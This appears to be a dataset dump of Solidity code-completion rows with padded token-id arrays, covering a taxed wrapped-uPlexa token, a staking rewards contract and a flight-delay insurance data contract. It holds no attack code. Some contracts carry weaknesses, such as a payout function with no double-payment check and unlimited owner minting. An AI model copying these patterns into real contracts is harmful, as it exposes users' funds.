_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _doTax(address sender, uint256 tFee) private {
_tFeeTotal = _tFeeTotal.add(tFee);
address recipient = _taxWallet;
_balances[recipient] = _balances[recipient].add(tFee);
emit Transfer(sender, recipient, tFee);
}
// Excluded?
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
// Display total fees collected
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
// Display address of the tax wallet
function taxWallet() public view returns (address) {
return _taxWallet;
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/* multiMint mints to multiple addresses to reduce TX's in bridge queue */
function _multiMint(address[] memory account, uint256[] memory amount) internal virtual {
require(account.length == amount.length, "Account length does not match amount");
uint256 length = account.length;
for (uint256 addy = 0; addy < length; ++addy) {
_mint(account[addy], amount[addy]);
}
}
/**
* Any user may burn their tokens with a note.
* When using with the bridge, the note is tracked
* for automagic swaps back to UPX coin.
*/
function burnSwap(uint256 _value, string memory _note) public {
_burn(msg.sender, _value, _note);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount, string memory _note) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Burn(account, amount, _note);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Changes custodial tax wallet of the contract to a new account (`newTaxWallet`).
* Can only be called by the current owner.
*/
function _changeTaxWallet(address newTaxWallet) internal virtual {
require(newTaxWallet != address(0), "Ownable: new tax wallet is the zero address");
emit TaxWalletTransferred(_taxWallet, newTaxWallet);
_taxWallet = newTaxWallet;
}
// For excluding LPs and upxReaper from Taxes on outgoing TXs
function _excludeAccount(address account) internal virtual {
_isExcluded[account] = true;
emit ExcludedAccount(account);
}
function _includeAccount(address account) internal virtual {
require(_isExcluded[account], "Account is already included");
_isExcluded[account] = false;
emit IncludedAccount(account);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// Wrapped uPlexa Token
contract WrappeduPlexa is ERC20("Wrapped uPlexa", "wUPX"), Ownable {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner/bridge
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
}
/// @notice Creates `_amount` token to `_to`. Note: these are arrays.
function multiMint(address[] memory _to, uint256[] memory _amount) public onlyOwner {
_multiMint(_to, _amount);
}
/// @notice Changes `_taxWallet` address to `_to`. Must only be called by the owner/bridge
function changeTaxWallet(address _to) public onlyOwner {
_changeTaxWallet(_to);
}
// Exclude account from paying taxes on sends (such as upxReaper and LPs)
function excludeAccount(address _account) public onlyOwner {
_excludeAccount(_account);
}
// Revert an exclude
function includeAccount(address _account) public onlyOwner {
_includeAccount(_account);
}
}
contract upxReaper is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of wUPX
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accUPXPerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accUPXPerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. wUPX to distribute per block.
uint256 lastRewardBlock; // Last block number that wUPX distribution occurs.
uint256 accUPXPerShare; // Accumulated wUPX per share, times 1e12. See below.
}
// The wUPX TOKEN!
WrappeduPlexa public wupx;
// Block number when wUPX farming period ends.
uint256 public endBlock;
// wUPX Tokens per block.
uint256 public upxPerBlock;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping (uint256 => mapping (address => UserInfo)) public userInfo;
// Map out LP addresses so we cannot add them twice.
mapping (address => bool) private _isAdded;
// Total allocation poitns. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when wUPX mining starts.
uint256 public startBlock;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
event NewStakingPeriod(uint256 indexed startHeight, uint256 indexed endHeight, uint256 indexed reward);
constructor(
WrappeduPlexa _wupx,
uint256 _startBlock,
uint256 _endBlock,
uint256 _upxPerBlock
) public {
wupx = _wupx;
endBlock = _endBlock;
startBlock = _startBlock;
upxPerBlock = _upxPerBlock;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
// For adding a new staking period once the old one has expired.
// Probably a good idea to update all pools prior to new period.
// We will not need to adjust for start date, rather only endBlock will matter
// after adding a new period.
function newPeriod(uint256 _startHeight, uint256 _endHeight, uint256 _reward, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
startBlock = _startHeight;
endBlock = _endHeight;
upxPerBlock = _reward;
emit NewStakingPeriod(_startHeight, _endHeight, _reward);
}
// Add a new lp to the pool. Can only be called by the owner.
// LP cannot be added twice and thus cannot break rewards.
function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner {
require(!_isAdded[address(_lpToken)], "LP has already been added.");
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accUPXPerShare: 0
}));
_isAdded[address(_lpToken)] = true;
}
// Update the given pool's wUPX allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
poolInfo[_pid].allocPoint = _allocPoint;
}
// Return reward multiplier over the given _from to _to block.
function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {
if (_to <= endBlock) {
return _to.sub(_from);
} else if (_from >= endBlock) {
return 0; // End of rewards.
} else {
// Just in case the last few blocks have not been accounted for yet.
return endBlock.sub(_from);
}
}
// View function to see pending wUPX on frontend.
function pendingUPX(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accUPXPerShare = pool.accUPXPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
if(multiplier>0){
uint256 wupxReward = multiplier.mul(upxPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
accUPXPerShare = accUPXPerShare.add(wupxReward.mul(1e12).div(lpSupply));
}
}
return user.amount.mul(accUPXPerShare).div(1e12).sub(user.rewardDebt);
}
// Update reward vairables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
if(multiplier>0){
uint256 wupxReward = multiplier.mul(upxPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
pool.accUPXPerShare = pool.accUPXPerShare.add(wupxReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
}
// Deposit LP tokens to upxReaper for UPX allocation.
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accUPXPerShare).div(1e12).sub(user.rewardDebt);
safeUPXTransfer(msg.sender, pending);
}
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
user.rewardDebt = user.amount.mul(pool.accUPXPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
// Withdraw LP tokens from upxReaper.
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accUPXPerShare).div(1e12).sub(user.rewardDebt);
safeUPXTransfer(msg.sender, pending);
user.amount = user.amount.sub(_amount);
user.rewardDebt = user.amount.mul(pool.accUPXPerShare).div(1e12);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
emit Withdraw(msg.sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
pool.lpToken.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
}
// Safe wupx transfer function, just in case if rounding error causes pool to not have enough wUPX.
function safeUPXTransfer(address _to, uint256 _amount) internal {
uint256 wupxBal = wupx.balanceOf(address(this));
if (_amount > wupxBal) {
wupx.transfer(_to, wupxBal);
} else {
wupx.transfer(_to, _amount);
}
}
} | * @dev Creates `amount` tokens and assigns them to `account`, increasing the total supply. Emits a {Transfer} event with `from` set to the zero address. Requirements - `to` cannot be the zero address./ | function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
| 6,678,604 | [
1,
2729,
1375,
8949,
68,
2430,
471,
22698,
2182,
358,
1375,
4631,
9191,
21006,
326,
2078,
14467,
18,
7377,
1282,
279,
288,
5912,
97,
871,
598,
1375,
2080,
68,
444,
358,
326,
3634,
1758,
18,
29076,
300,
1375,
869,
68,
2780,
506,
326,
3634,
1758,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
377,
445,
389,
81,
474,
12,
2867,
2236,
16,
2254,
5034,
3844,
13,
2713,
5024,
288,
203,
540,
2583,
12,
4631,
480,
1758,
12,
20,
3631,
315,
654,
39,
3462,
30,
312,
474,
358,
326,
3634,
1758,
8863,
203,
203,
540,
389,
5771,
1345,
5912,
12,
2867,
12,
20,
3631,
2236,
16,
3844,
1769,
203,
203,
540,
389,
4963,
3088,
1283,
273,
389,
4963,
3088,
1283,
18,
1289,
12,
8949,
1769,
203,
540,
389,
70,
26488,
63,
4631,
65,
273,
389,
70,
26488,
63,
4631,
8009,
1289,
12,
8949,
1769,
203,
540,
3626,
12279,
12,
2867,
12,
20,
3631,
2236,
16,
3844,
1769,
203,
377,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/43114/0x08480D915C72DB86844D96824D9df62a7F13469B/sources/contracts/PF_USDC_Avalanche-Fantom/XChain.sol | SafeTransferLib.sol";
| import {SafeTransferLib} from "../imports | 4,516,227 | [
1,
9890,
5912,
5664,
18,
18281,
14432,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
5666,
288,
9890,
5912,
5664,
97,
628,
315,
6216,
21350,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.25;
import "../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";
contract FlightSuretyData {
using SafeMath for uint256;
/********************************************************************************************/
/* DATA VARIABLES */
/********************************************************************************************/
// EMG - A mapping to have the authorized contracts that can call the Data contract.
mapping(address => uint256) authorizedCallers;
// EMG - Initial funding for the insurance is 10 ether
uint private constant INITIAL_FUNDING = 10 ether;
address private contractOwner; // Account used to deploy contract
bool private operational = true; // Blocks all state changes throughout the contract if false
// EMG - data structure for the airlines
struct Airline {
address airline;
bool isRegistered;
uint256 fundsProvided;
}
mapping(address => Airline) private airlines;
// EMG - array to store the registered airlines
address[] private registeredAirlines = new address[](0);
struct Flight {
bool isRegistered;
uint8 statusCode;
// EMG - These are the passengers of the flight that have bought an insurance
address[] passengers;
}
mapping(bytes32 => Flight) private flights;
// EMG - data structure for the insurances
struct Insurance {
bool isRegistered;
bool hasBeenPaid;
uint256 amountBought;
uint256 amountPaid;
}
// EMG - mapping from passenger-flight to insurance
mapping(bytes32 => Insurance) private insurances;
/********************************************************************************************/
/* EVENT DEFINITIONS */
/********************************************************************************************/
/**
* @dev Constructor
* The deploying account becomes contractOwner
*/
constructor
(
)
public
{
contractOwner = msg.sender;
// EMG - The first airline is registered as part of the initial deployment of the contract
airlines[msg.sender] = Airline({
airline: msg.sender,
isRegistered: true,
fundsProvided: 0
});
registeredAirlines.push(msg.sender);
}
/********************************************************************************************/
/* FUNCTION MODIFIERS */
/********************************************************************************************/
// Modifiers help avoid duplication of code. They are typically used to validate something
// before a function is allowed to be executed.
/**
* @dev Modifier that requires the "operational" boolean variable to be "true"
* This is used on all state changing functions to pause the contract in
* the event there is an issue that needs to be fixed
*/
modifier requireIsOperational()
{
require(operational, "Contract is currently not operational");
_; // All modifiers require an "_" which indicates where the function body will be added
}
/**
* @dev Modifier that requires the "ContractOwner" account to be the function caller
*/
modifier requireContractOwner()
{
require(msg.sender == contractOwner, "Caller is not contract owner");
_;
}
// EMG - A modifier to make sure the caller is authorized to call functions that require that
modifier isCallerAuthorized()
{
require(authorizedCallers[msg.sender] == 1, "Caller is not authorized");
_;
}
/********************************************************************************************/
/* UTILITY FUNCTIONS */
/********************************************************************************************/
// EMG - A function to authorize a contract to call the Data contract, and another one to deauthorize
function authorizeCaller(address dataContract) external requireContractOwner {
authorizedCallers[dataContract] = 1;
}
function deauthorizeCaller(address dataContract) external requireContractOwner {
delete authorizedCallers[dataContract];
}
/**
* @dev Get operating status of contract
*
* @return A bool that is the current operating status
*/
function isOperational()
public
view
isCallerAuthorized()
returns(bool)
{
return operational;
}
/**
* @dev Sets contract operations on/off
*
* When operational mode is disabled, all write transactions except for this one will fail
*/
function setOperatingStatus
(
bool mode
)
external
requireContractOwner()
{
operational = mode;
}
function getDataContractOwner
(
)
external
view
isCallerAuthorized()
returns(address)
{
return contractOwner;
}
// EMG - This is a helper function that can be used for such purposes as testing modifiers
function setTestingMode
(
)
public
view
requireIsOperational()
{
}
/**
* @dev Sets contract operations on/off
*
* When operational mode is disabled, all write transactions except for this one will fail
*/
// EMG - This function returns the number of airlines currently registered
function numberOfRegisteredAirlines
(
)
external
view
isCallerAuthorized()
returns(uint256)
{
return registeredAirlines.length;
}
// EMG - This function returns whether an airline is registered
function airlineIsRegistered
(
address airline
)
external
view
isCallerAuthorized()
returns(bool)
{
return airlines[airline].isRegistered;
}
// EMG - This function returns whether an airline is funded (i.e., whether it has already provided the contract
// with 10 ether or more
function airlineIsFunded
(
address airline
)
external
view
isCallerAuthorized()
returns(bool)
{
return (airlines[airline].fundsProvided >= INITIAL_FUNDING);
}
// EMG - This function returns whether a flight is registered
function flightIsRegistered
(
address airline,
string flightNumber,
uint256 timestamp
)
external
view
isCallerAuthorized()
returns(bool)
{
bytes32 flightKey = getFlightKey(airline, flightNumber, timestamp);
return (flights[flightKey].isRegistered);
}
// EMG - This function returns whether an insurance is registered
function insuranceIsRegistered
(
address passenger,
address airline,
string flightNumber,
uint256 timestamp
)
external
view
isCallerAuthorized()
returns(bool)
{
bytes32 insuranceKey = getInsuranceKey(passenger, airline, flightNumber, timestamp);
return (insurances[insuranceKey].isRegistered);
}
// EMG - This function returns whether an insurance has been paid
function insuranceHasBeenPaid
(
address passenger,
address airline,
string flightNumber,
uint256 timestamp
)
external
view
isCallerAuthorized()
returns(bool)
{
bytes32 insuranceKey = getInsuranceKey(passenger, airline, flightNumber, timestamp);
return (insurances[insuranceKey].hasBeenPaid);
}
/********************************************************************************************/
/* SMART CONTRACT FUNCTIONS */
/********************************************************************************************/
/**
* @dev Add an airline to the registration queue
* Can only be called from FlightSuretyApp contract
*
*/
function registerAirline
(
address airline
)
external
// EMG - Can only be called from FlightSuretyApp contract
isCallerAuthorized()
{
airlines[airline] = Airline({
airline: airline,
isRegistered: true,
fundsProvided: 0
});
registeredAirlines.push(airline);
}
/**
* @dev Initial funding for the insurance. Unless there are too many delayed flights
* resulting in insurance payouts, the contract should be self-sustaining
*
*/
// EMG - A registered airline can provide as many funds as it wants. However, it is not going to be
// considered funded until the amount provided is greater than or equal to 10 ether
function fund
(
address airline
)
public
payable
isCallerAuthorized()
{
require(airlines[airline].isRegistered, "Airline is not registered");
airlines[airline].fundsProvided = airlines[airline].fundsProvided.add(msg.value);
}
function registerFlight
(
address airline,
string flightNumber,
uint256 timestamp
)
external
isCallerAuthorized()
{
bytes32 flightKey = getFlightKey(airline, flightNumber, timestamp);
// EMG - STATUS_CODE_UNKNOWN = 0
flights[flightKey] = Flight({
isRegistered: true,
statusCode: 0,
passengers: new address[](0)
});
}
/**
* @dev Buy insurance for a flight
*
*/
function buy
(
address passenger,
address airline,
string flightNumber,
uint256 timestamp
)
external
payable
isCallerAuthorized()
{
bytes32 insuranceKey = getInsuranceKey(passenger, airline, flightNumber, timestamp);
insurances[insuranceKey] = Insurance({
isRegistered: true,
hasBeenPaid: false,
amountBought: msg.value,
amountPaid: 0
});
// The insured passenger is included within the list of insured passengers of the flight
bytes32 flightKey = getFlightKey(airline, flightNumber, timestamp);
flights[flightKey].passengers.push(passenger);
}
/**
* @dev Called after oracle has updated flight status
*
*/
function processFlightStatus
(
address airline,
string flightNumber,
uint256 timestamp
)
external
isCallerAuthorized()
{
creditInsurees(airline, flightNumber, timestamp);
}
/**
* @dev Credits payouts to insurees
*/
function creditInsurees
(
address airline,
string memory flightNumber,
uint256 timestamp
)
internal
{
bytes32 flightKey = getFlightKey(airline, flightNumber, timestamp);
for(uint c = 0; c < flights[flightKey].passengers.length; c++) {
bytes32 insuranceKey = getInsuranceKey(flights[flightKey].passengers[c], airline,
flightNumber, timestamp);
// The passenger is credited 1.5X the amount they paid
insurances[insuranceKey].amountPaid = insurances[insuranceKey].amountBought.mul(3).div(2);
}
}
/**
* @dev Transfers eligible payout funds to insuree
*
*/
function pay
(
address passenger,
address airline,
string flightNumber,
uint256 timestamp
)
external
isCallerAuthorized()
{
bytes32 insuranceKey = getInsuranceKey(passenger, airline, flightNumber, timestamp);
insurances[insuranceKey].hasBeenPaid = true;
passenger.transfer(insurances[insuranceKey].amountPaid);
}
function getFlightKey
(
address airline,
string memory flightNumber,
uint256 timestamp
)
internal
pure
returns(bytes32)
{
return keccak256(abi.encodePacked(airline, flightNumber, timestamp));
}
// EMG - Calculation of the key of the insurances mapping
function getInsuranceKey
(
address passenger,
address airline,
string memory flightNumber,
uint256 timestamp
)
internal
pure
returns(bytes32)
{
return keccak256(abi.encodePacked(passenger, airline, flightNumber, timestamp));
}
/**
* @dev Fallback function for funding smart contract.
*
*/
// EMG - Even though it is not the intended procedure to provide funds to the Data contract,
// it is possible to call the fallback function in the Data Contract. This will cause the fund
// function to be executed
function()
external
payable
{
fund(msg.sender);
}
}
| EMG - Calculation of the key of the insurances mapping | function getInsuranceKey
(
address passenger,
address airline,
string memory flightNumber,
uint256 timestamp
)
internal
pure
returns(bytes32)
{
return keccak256(abi.encodePacked(passenger, airline, flightNumber, timestamp));
}
| 13,019,202 | [
1,
3375,
43,
300,
15994,
367,
434,
326,
498,
434,
326,
2763,
295,
6872,
2874,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
